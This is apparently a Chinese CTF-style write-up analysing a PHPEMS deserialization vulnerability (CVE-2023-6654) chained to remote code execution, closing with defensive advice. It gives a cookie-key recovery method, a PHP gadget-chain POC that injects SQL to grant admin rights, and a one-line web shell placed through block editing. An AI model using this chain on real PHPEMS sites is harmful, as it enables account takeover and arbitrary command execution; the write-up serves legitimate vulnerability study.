西湖论剑phpems分析
字数 975 2025-08-18 17:33:42
PHPEMS反序列化漏洞导致RCE的分析与利用
漏洞概述
PHPEMS系统存在一个反序列化漏洞(CVE-2023-6654),攻击者可以通过精心构造的序列化数据实现远程代码执行(RCE)。该漏洞涉及多个关键环节,包括路由分析、密钥获取、反序列化链构造以及后台RCE利用。
路由分析
PHPEMS采用MVC架构,路由加载逻辑如下:
-
入口文件
index.php调用ginkgo->run() -
run()方法根据URL参数加载对应控制器:public function run() { self::$app = self::$defaultApp; $ev = self::make('ev'); if($ev->url(0)) { self::$app = $ev->url(0); } // ...加载对应控制器文件... } -
URL解析使用
parseUrl()方法,会对参数进行urlencode处理,防止目录穿越
密钥获取
系统使用自定义加密算法处理cookie:
public function encode($info) {
$info = serialize($info);
$key = CS; // 加密密钥
// 简单加密算法
for($i = 0; $i < strlen($info); $i++) {
$p = $i%strlen($key);
$info[$i] = chr(ord($info[$i])+ord($key[$p]));
}
return urlencode($info);
}
解密方法类似,只是做减法运算。可以通过以下方式获取密钥:
- 获取加密后的cookie样本
- 已知序列化数据的固定格式部分(如
a:8:{s:13:"sessionuserid";s:2:"3) - 通过加密算法逆向计算密钥
- 对不确定的字符位置进行爆破
反序列化链构造
可利用的反序列化链:
PHPEMS\session类的__destruct方法- 该方法会调用
pdosql->makeUpdate()生成SQL语句 tablepre参数可控,导致SQL注入
POC构造:
namespace PHPEMS;
class session {
public $sessionid='1111111';
public function __construct() {
$this->pdosql = new pdosql;
$this->db = new pepdo();
}
}
class pdosql {
private $db;
public function __construct() {
$this->tablepre=' x2_session set sessiongroupid=\'1\' where sessionid=\'96a0e7fc80194815f509d8ef101f2ab8\' -- ';
$this->db = new pepdo();
}
}
class pepdo {
private $linkid = 0;
private $log = 1;
public function __construct() {
$this->linkid=0;
}
}
后台RCE利用
进入后台后,通过模板编辑功能实现RCE:
- 找到
compileBlock方法,其中会调用eval - 后台有
modifyBlock功能可以编辑block内容 - 将block类型改为4(直接执行代码)
- 在内容中插入恶意PHP代码(注意第一行必须是命名空间)
利用步骤:
- 修改block类型为4
- 插入类似内容:
<?php namespace PHPEMS; system($_GET['cmd']); ?> - 访问触发block解析的页面(如注册协议页面)
完整利用流程
- 获取加密密钥(通过分析cookie或爆破)
- 构造反序列化payload修改sessiongroupid为1
- 使用伪造的管理员cookie登录后台
- 找到block编辑功能,修改类型并插入恶意代码
- 访问触发页面执行任意命令
防御建议
- 使用标准的加密算法(如AES)替代自定义加密
- 对反序列化操作进行严格限制,使用白名单机制
- 对SQL查询中的表名进行严格过滤
- 避免在模板编译中使用eval函数
- 加强后台权限验证,防止垂直越权
参考
- CVE-2023-6654
- 原始分析文章:西湖论剑phpems分析